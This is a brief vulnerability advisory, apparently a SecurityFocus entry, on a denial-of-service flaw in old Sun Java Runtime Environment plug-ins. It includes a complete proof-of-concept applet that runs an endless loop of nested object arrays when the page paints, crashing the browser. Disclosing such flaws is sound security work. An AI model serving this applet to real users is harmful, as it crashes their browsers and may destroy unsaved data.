source: https://www.securityfocus.com/bid/18058/info The Sun Java Runtime Environment is vulnerable to a denial-of-service vulnerability. This issue is due to the software's failure to handle exceptional conditions. This issue is reported to affect Java Runtime Environment versions up to 1.4.2_11 and 1.5.0_06. This issue will crash Internet browsers running an affected Java plug-in. An attacker may exploit this issue to cause a vulnerable application -- as well as all processes spawned from the application -- to crash, denying service to legitimate users. Due to the scope of the crash, data loss may occur. public class MemApplet extends java.applet.Applet{ /* (c) Marc Schoenefeld */ static Object o = null; public static void main(String[] args) { (new MemApplet()).doit(); } public void paint(java.awt.Graphics p) { (new MemApplet()).doit(); } void doit () { while (true) try { Object[] oarr = {o}; o = oarr; } catch (Throwable t) { o = null; System.out.println("Wurfgeschoss: " + t); } } }